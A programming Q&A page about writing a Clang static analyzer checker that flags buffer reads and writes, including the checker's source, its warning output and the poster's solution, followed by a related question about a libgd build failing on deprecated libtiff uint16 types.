How to detect all buffer access by using Clang Static Checker - clang

My target: detect all buffer access in C/C++ by using clang static checker.
My idea: use CheckPosition to get all memory read/write and then filter unrelated items.
My problem: However, I got stuck when I try to filter something like "int i = 1" "i++".
My solution: One way to filter this is to check whether the variable is pointer type or not by using isPointerType().
My question: But I need to get QualType first. The question is how? Or, do I have other ways to achieve my target???
My Clang Checker Code is as below:
#include "clang/StaticAnalyzer/Core/BugReporter/BugType.h"
#include "clang/StaticAnalyzer/Core/Checker.h"
#include "clang/StaticAnalyzer/Core/CheckerRegistry.h"
#include "clang/StaticAnalyzer/Core/PathSensitive/CallEvent.h"
#include "clang/StaticAnalyzer/Core/PathSensitive/CheckerContext.h"
#include "llvm-3.4/llvm/Support/raw_ostream.h"
#include "clang/StaticAnalyzer/Core/PathSensitive/SVals.h"
using namespace clang;
using namespace ento;
namespace {
class BufferAccessChecker : public Checker<check :: Location> {
//mutable std::unique_ptr<BuiltinBug> BT_access;
mutable std::unique_ptr<BugType> bugType;
public:
BufferAccessChecker(void) {
this->bugType.reset(new BugType("buffer access", "chaz analyzer"));
}
void checkLocation(SVal location, bool isLoad, const Stmt* S, CheckerContext &C) const;
};
}
void BufferAccessChecker::checkLocation(SVal location, bool isLoad, const Stmt* S, CheckerContext &C) const {
if (location.isUndef() || !location.getAs<Loc>())
return;
const MemRegion *R = location.getAsRegion();
if(!R)
return;
// if (location.getBaseKind() != SVal::LocKind)
// return;
// if (location.getSubKind() != loc::MemRegionKind)
// return;
// const ElementRegion *ER = dyn_cast<ElementRegion>(R);
// if(!ER)
// return;
ProgramStateRef state = C.getState();
ProgramStateRef notNullState, nullState;
std::tie(notNullState, nullState) = state->assume(L);
//filter some null states
if(isLoad){
if(!nullState && notNullState){
if(1){
ExplodedNode *loc = C.addTransition();
BugReport *bug = new BugReport(*this->bugType,
"checkLocation: read buffer", loc);
C.emitReport(bug);
}
}
return;
}else{
if(!nullState && notNullState){
ExplodedNode *loc = C.addTransition();
BugReport *bug = new BugReport(*this->bugType,
"checkLocation: write buffer", loc);
C.emitReport(bug);
}
}
}
extern "C"
const char clang_analyzerAPIVersionString[] = CLANG_ANALYZER_API_VERSION_STRING;
extern "C"
void clang_registerCheckers(CheckerRegistry ®istry) {
registry.addChecker <BufferAccessChecker>("alpha.core.BufferAccessChecker", "Checks buffer read/write");
}
The test result is as below:
clang-3.4 -Xclang -load -Xclang ~/bufferaccesschecker/checker.so -Xclang -analyzer-checker=alpha.core.BufferAccessChecker -Xclang -analyze -w -c ~/playground/ep2AED/Kmp.c
/home/chaz/playground/ep2AED/Kmp.c:17:14: warning: checkLocation: write buffer
falha[0] = 0;
~~~~~~~~~^~~
/home/chaz/playground/ep2AED/Kmp.c:18:12: warning: checkLocation: read buffer
while (i<tamanhoPadrao) {
^
/home/chaz/playground/ep2AED/Kmp.c:19:18: warning: checkLocation: read buffer
if (p[i] == p[j]) {
~~~~~^~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:20:21: warning: checkLocation: write buffer
falha[i]= j+1;
~~~~~~~~^~~~~
/home/chaz/playground/ep2AED/Kmp.c:26:21: warning: checkLocation: write buffer
falha[i]=0;
~~~~~~~~^~
/home/chaz/playground/ep2AED/Kmp.c:26:22: warning: checkLocation: read buffer
falha[i]=0;
^
/home/chaz/playground/ep2AED/Kmp.c:27:13: warning: checkLocation: read buffer
i++;
^~~
/home/chaz/playground/ep2AED/Kmp.c:36:18: warning: checkLocation: read buffer
int* falha = funcaoDeFalha(p);
^~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:38:13: warning: checkLocation: read buffer
while (*i < tamanhoTexto) {
^
/home/chaz/playground/ep2AED/Kmp.c:38:15: warning: checkLocation: read buffer
while (*i < tamanhoTexto) {
~~~^~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:38:17: warning: checkLocation: read buffer
while (*i < tamanhoTexto) {
^~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:39:9: warning: checkLocation: read buffer
if(texto[*i] == p[*j]){ //match
^~
/home/chaz/playground/ep2AED/Kmp.c:39:12: warning: checkLocation: read buffer
if(texto[*i] == p[*j]){ //match
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:39:19: warning: checkLocation: read buffer
if(texto[*i] == p[*j]){ //match
^
/home/chaz/playground/ep2AED/Kmp.c:39:22: warning: checkLocation: read buffer
if(texto[*i] == p[*j]){ //match
~~~~~~~~~~^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:39:28: warning: checkLocation: read buffer
if(texto[*i] == p[*j]){ //match
^
/home/chaz/playground/ep2AED/Kmp.c:40:17: warning: checkLocation: read buffer
if(*j == tamanhoPadrao - 1){
^
/home/chaz/playground/ep2AED/Kmp.c:40:22: warning: checkLocation: read buffer
if(*j == tamanhoPadrao - 1){
^~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:41:26: warning: checkLocation: read buffer
return (*i-*j);
^
/home/chaz/playground/ep2AED/Kmp.c:43:17: warning: checkLocation: read buffer
(*i)++;
^~~~~~
/home/chaz/playground/ep2AED/Kmp.c:43:19: warning: checkLocation: read buffer
(*i)++;
^
/home/chaz/playground/ep2AED/Kmp.c:44:17: warning: checkLocation: read buffer
(*j)++;
^~~~~~
/home/chaz/playground/ep2AED/Kmp.c:44:19: warning: checkLocation: read buffer
(*j)++;
^
/home/chaz/playground/ep2AED/Kmp.c:48:17: warning: checkLocation: read buffer
if(*j>0){
^
/home/chaz/playground/ep2AED/Kmp.c:49:22: warning: checkLocation: read buffer
(*j) = falha[*j-1];
~~~~~^~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:49:31: warning: checkLocation: read buffer
(*j) = falha[*j-1];
^
/home/chaz/playground/ep2AED/Kmp.c:51:17: warning: checkLocation: read buffer
(*i)++;
^~~~~~
/home/chaz/playground/ep2AED/Kmp.c:51:19: warning: checkLocation: read buffer
(*i)++;
^
/home/chaz/playground/ep2AED/Kmp.c:55:13: warning: checkLocation: read buffer
return -1;
^
/home/chaz/playground/ep2AED/Kmp.c:56:1: warning: checkLocation: read buffer
}
^
/home/chaz/playground/ep2AED/Kmp.c:65:5: warning: checkLocation: read buffer
int i = KMPMatch(texto, p, &iKmp, &jKmp);
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:65:33: warning: checkPreStmt: buffer access
int i = KMPMatch(texto, p, &iKmp, &jKmp);
^~~~
/home/chaz/playground/ep2AED/Kmp.c:65:40: warning: checkPreStmt: buffer access
int i = KMPMatch(texto, p, &iKmp, &jKmp);
^~~~
/home/chaz/playground/ep2AED/Kmp.c:66:5: warning: checkLocation: read buffer
if(texto[strlen(p)] == ' '){
^~
/home/chaz/playground/ep2AED/Kmp.c:66:8: warning: checkLocation: read buffer
if(texto[strlen(p)] == ' '){
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:67:21: warning: checkLocation: write buffer
resposta[0] = i;
~~~~~~~~~~~~^~~
/home/chaz/playground/ep2AED/Kmp.c:67:23: warning: checkLocation: read buffer
resposta[0] = i;
^
/home/chaz/playground/ep2AED/Kmp.c:68:9: warning: checkLocation: read buffer
iterador++;
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:68:9: warning: checkLocation: read buffer
iterador++;
^~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:71:21: warning: checkLocation: write buffer
resposta[0] = -1;
~~~~~~~~~~~~^~~~
/home/chaz/playground/ep2AED/Kmp.c:72:9: warning: checkLocation: read buffer
iterador++;
^~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:74:5: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:74:12: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
^
/home/chaz/playground/ep2AED/Kmp.c:74:14: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
~~^~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:74:16: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
^~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:74:23: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:74:30: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
~~~~~~~~~~~~~~~~~~^~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:74:33: warning: checkLocation: read buffer
while (i < strlen(texto) && i != -1){
^
/home/chaz/playground/ep2AED/Kmp.c:75:9: warning: checkLocation: read buffer
i = KMPMatch(texto, p , &iKmp,&jKmp);
^
/home/chaz/playground/ep2AED/Kmp.c:75:11: warning: checkLocation: read buffer
i = KMPMatch(texto, p , &iKmp,&jKmp);
~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:75:13: warning: checkLocation: read buffer
i = KMPMatch(texto, p , &iKmp,&jKmp);
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:75:22: warning: checkLocation: read buffer
i = KMPMatch(texto, p , &iKmp,&jKmp);
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:75:34: warning: checkLocation: read buffer
i = KMPMatch(texto, p , &iKmp,&jKmp);
^~~~
/home/chaz/playground/ep2AED/Kmp.c:75:34: warning: checkPreStmt: buffer access
i = KMPMatch(texto, p , &iKmp,&jKmp);
^~~~
/home/chaz/playground/ep2AED/Kmp.c:75:40: warning: checkLocation: read buffer
i = KMPMatch(texto, p , &iKmp,&jKmp);
^~~~
/home/chaz/playground/ep2AED/Kmp.c:75:40: warning: checkPreStmt: buffer access
i = KMPMatch(texto, p , &iKmp,&jKmp);
^~~~
/home/chaz/playground/ep2AED/Kmp.c:76:9: warning: checkLocation: read buffer
if(texto[i-1] == ' '){
^~
/home/chaz/playground/ep2AED/Kmp.c:76:12: warning: checkLocation: read buffer
if(texto[i-1] == ' '){
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:76:18: warning: checkLocation: read buffer
if(texto[i-1] == ' '){
^
/home/chaz/playground/ep2AED/Kmp.c:78:32: warning: checkLocation: read buffer
resposta[iterador] = i;
~~~~~~~~~~~~~~~~~~~^~~
/home/chaz/playground/ep2AED/Kmp.c:78:32: warning: checkLocation: write buffer
resposta[iterador] = i;
~~~~~~~~~~~~~~~~~~~^~~
/home/chaz/playground/ep2AED/Kmp.c:79:13: warning: checkLocation: read buffer
iterador++;
^~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:82:6: warning: checkLocation: read buffer
*controle = iterador;
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:82:15: warning: checkLocation: read buffer
*controle = iterador;
~~~~~~~~~~^~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:82:17: warning: checkLocation: read buffer
*controle = iterador;
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:83:5: warning: checkLocation: read buffer
return resposta;
^~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:83:12: warning: checkLocation: read buffer
return resposta;
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:84:1: warning: checkLocation: read buffer
}
^
/home/chaz/playground/ep2AED/Kmp.c:92:15: warning: checkLocation: read buffer
while(i < *controle){
^
/home/chaz/playground/ep2AED/Kmp.c:92:20: warning: checkLocation: read buffer
while(i < *controle){
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:93:16: warning: checkLocation: read buffer
if(resposta[0] == -1)//nao existe a palavra
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:93:16: warning: checkLocation: read buffer
if(resposta[0] == -1)//nao existe a palavra
^~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:94:39: warning: checkLocation: read buffer
printf("%d", resposta[0]);
^
/home/chaz/playground/ep2AED/Kmp.c:95:37: warning: checkLocation: read buffer
else if(resposta[i] != -1){
^~
/home/chaz/playground/ep2AED/Kmp.c:96:40: warning: checkLocation: read buffer
printf("%d ", resposta[i]);
^
/home/chaz/playground/ep2AED/Kmp.c:98:13: warning: checkLocation: read buffer
i++;
^~~
/home/chaz/playground/ep2AED/Kmp.c:99:10: warning: checkLocation: read buffer
}printf("\n");
^~~~~~
/home/chaz/playground/ep2AED/Kmp.c:102:9: warning: checkLocation: read buffer
while(palavras) {
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:102:15: warning: checkLocation: read buffer
while(palavras) {
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:13: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:29: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:29: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:38: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:45: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:54: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:104:71: warning: checkLocation: read buffer
int *resposta = ChamaKMP(texto, palavras,numeroDePadroes, controle);
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:105:13: warning: checkLocation: read buffer
while(i < *controle){
^~~~~
/home/chaz/playground/ep2AED/Kmp.c:105:19: warning: checkLocation: read buffer
while(i < *controle){
^
/home/chaz/playground/ep2AED/Kmp.c:105:24: warning: checkLocation: read buffer
while(i < *controle){
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:106:17: warning: checkLocation: read buffer
if(resposta[0] == -1)//nao existe a palavra
^~
/home/chaz/playground/ep2AED/Kmp.c:106:20: warning: checkLocation: read buffer
if(resposta[0] == -1)//nao existe a palavra
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:106:32: warning: checkLocation: read buffer
if(resposta[0] == -1)//nao existe a palavra
~~~~~~~~~~~~^~~~~
/home/chaz/playground/ep2AED/Kmp.c:107:21: warning: checkLocation: read buffer
printf("%d", resposta[0]);
^~~~~~
/home/chaz/playground/ep2AED/Kmp.c:107:21: warning: checkLocation: read buffer
printf("%d", resposta[0]);
^~~~~~~~~~~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:107:34: warning: checkLocation: read buffer
printf("%d", resposta[0]);
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:108:25: warning: checkLocation: read buffer
else if(resposta[i] != -1){
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:108:34: warning: checkLocation: read buffer
else if(resposta[i] != -1){
^
/home/chaz/playground/ep2AED/Kmp.c:108:37: warning: checkLocation: read buffer
else if(resposta[i] != -1){
~~~~~~~~~~~~^~~~~
/home/chaz/playground/ep2AED/Kmp.c:109:21: warning: checkLocation: read buffer
printf("%d ", resposta[i]);
^~~~~~
/home/chaz/playground/ep2AED/Kmp.c:109:21: warning: checkLocation: read buffer
printf("%d ", resposta[i]);
^~~~~~~~~~~~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:109:35: warning: checkLocation: read buffer
printf("%d ", resposta[i]);
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:109:44: warning: checkLocation: read buffer
printf("%d ", resposta[i]);
^
/home/chaz/playground/ep2AED/Kmp.c:111:17: warning: checkLocation: read buffer
i++;
^
/home/chaz/playground/ep2AED/Kmp.c:111:17: warning: checkLocation: read buffer
i++;
^~~
/home/chaz/playground/ep2AED/Kmp.c:112:14: warning: checkLocation: read buffer
}printf("\n");
^~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:112:21: warning: checkLocation: read buffer
}printf("\n");
^~~~
/home/chaz/playground/ep2AED/Kmp.c:113:13: warning: checkLocation: read buffer
i = 0;
^
/home/chaz/playground/ep2AED/Kmp.c:113:15: warning: checkLocation: read buffer
i = 0;
~~^~~
/home/chaz/playground/ep2AED/Kmp.c:114:22: warning: checkLocation: read buffer
palavras = strtok(NULL, " ");
~~~~~~~~~^~~~~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:114:24: warning: checkLocation: read buffer
palavras = strtok(NULL, " ");
^~~~~~~~~~~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:117:1: warning: checkLocation: read buffer
}
Here are some unsatisfied test results selected:
int type variable should be filtered
/home/chaz/playground/ep2AED/Kmp.c:27:13: warning: checkLocation: read buffer
i++;
return expression should be filtered
/home/chaz/playground/ep2AED/Kmp.c:55:13: warning: checkLocation: read buffer
return -1;
/home/chaz/playground/ep2AED/Kmp.c:56:1: warning: checkLocation: read buffer
}
This arises twice
/home/chaz/playground/ep2AED/Kmp.c:68:9: warning: checkLocation: read buffer
iterador++;
^~~~~~~~
/home/chaz/playground/ep2AED/Kmp.c:68:9: warning: checkLocation: read buffer
iterador++;
^~~~~~~~~~
BTW, the test code is here: https://github.com/lucascapalbo/ep2AED
the test command is here:
clang-3.4 -Xclang -load -Xclang ~/bufferaccesschecker/checker.so -Xclang -analyzer-checker=alpha.core.BufferAccessChecker -Xclang -analyze -w -c ~/playground/ep2AED/Kmp.c

The problem was solved with the help of Artem Dergachev.
Super thanks to him.
The solution idea is as below:
(1) dump the stmt by Stmt.dump() and you can see the ast tree
(2) according to the ast tree, you can dyn_cast stmt into different expr type. And then you can get QualType by expr.getType(). Then, we can filter the pointer type by isAnyPointerType()
Clang is not that hard but may be confusing to beginners (especially for me)
What you should do is to read those mateial carefully.
https://github.com/haoNoQ/clang-analyzer-guide/releases/download/v0.1/clang-analyzer-guide-v0.1.pdf
http://clang-analyzer.llvm.org/checker_dev_manual.html
When you begin to code the checker, you can always check different and confusing classes here rather than read the source code.
https://clang.llvm.org/doxygen/
Hope this helps!

Related

Getting error when I make libgd-2.2.3 in terminal - Fatal error: too many errors emitted, stopping now [-ferror-limit=]

I keep getting this error when I type make libgd-2.2.3 in the Mac terminal:
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
make[2]: *** [gd_tiff.lo] Error 1
make[1]: *** [all] Error 2
make: *** [all-recursive] Error 1
The different errors look like this:
d_tiff.c:678:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 planar;
Does anyone know what this means and what I can do about it?
I also get errors like this:
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED attribute((deprecated))
but most refer to uint16 being depcrecatred.
I'm not super experienced in Mac terminal work or image processing, so any help would be much appreciated.
Here's the entire error message:
Making all in src
/Library/Developer/CommandLineTools/usr/bin/make all-am
depbase=`echo gd_tiff.lo | sed 's|[^/]*$|.deps/&|;s|\.lo$||'`;\
/bin/sh ../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. -I/opt/homebrew/Cellar/libpng/1.6.38/include/libpng16 -I/opt/homebrew/opt/freetype/include/freetype2 -I/opt/homebrew/Cellar/fontconfig/2.14.1/include -I/opt/homebrew/opt/freetype/include/freetype2 -I/opt/homebrew/Cellar/libtiff/4.4.0_1/include -Werror -g -O2 -fvisibility=hidden -Wall -MT gd_tiff.lo -MD -MP -MF $depbase.Tpo -c -o gd_tiff.lo gd_tiff.c &&\
mv -f $depbase.Tpo $depbase.Plo
libtool: compile: gcc -DHAVE_CONFIG_H -I. -I/opt/homebrew/Cellar/libpng/1.6.38/include/libpng16 -I/opt/homebrew/opt/freetype/include/freetype2 -I/opt/homebrew/Cellar/fontconfig/2.14.1/include -I/opt/homebrew/opt/freetype/include/freetype2 -I/opt/homebrew/Cellar/libtiff/4.4.0_1/include -Werror -g -O2 -fvisibility=hidden -Wall -MT gd_tiff.lo -MD -MP -MF .deps/gd_tiff.Tpo -c gd_tiff.c -fno-common -DPIC -o .libs/gd_tiff.o
gd_tiff.c:235:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 extraSamples[1];
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:236:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 *colorMapRed = NULL;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:237:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 *colorMapGreen = NULL;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:238:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 *colorMapBlue = NULL;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:290:20: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
colorMapRed = (uint16 *) gdMalloc(3 * (1 << bitsPerSample));
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:295:20: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
colorMapGreen = (uint16 *) gdMalloc(3 * (1 << bitsPerSample));
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:301:20: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
colorMapBlue = (uint16 *) gdMalloc(3 * (1 << bitsPerSample));
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:446:1: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 *r, *g, *b;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:458:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 *redcmap, *greencmap, *bluecmap;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:459:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 bps;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:471:3: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 min_sample_val, max_sample_val;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:513:4: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 photometric,
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:545:27: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 photometric,
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:632:58: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
static int createFromTiffTiles(TIFF *tif, gdImagePtr im, uint16 bps, uint16 photometric,
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:632:70: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
static int createFromTiffTiles(TIFF *tif, gdImagePtr im, uint16 bps, uint16 photometric,
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:635:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 planar;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:675:58: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
static int createFromTiffLines(TIFF *tif, gdImagePtr im, uint16 bps, uint16 photometric,
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
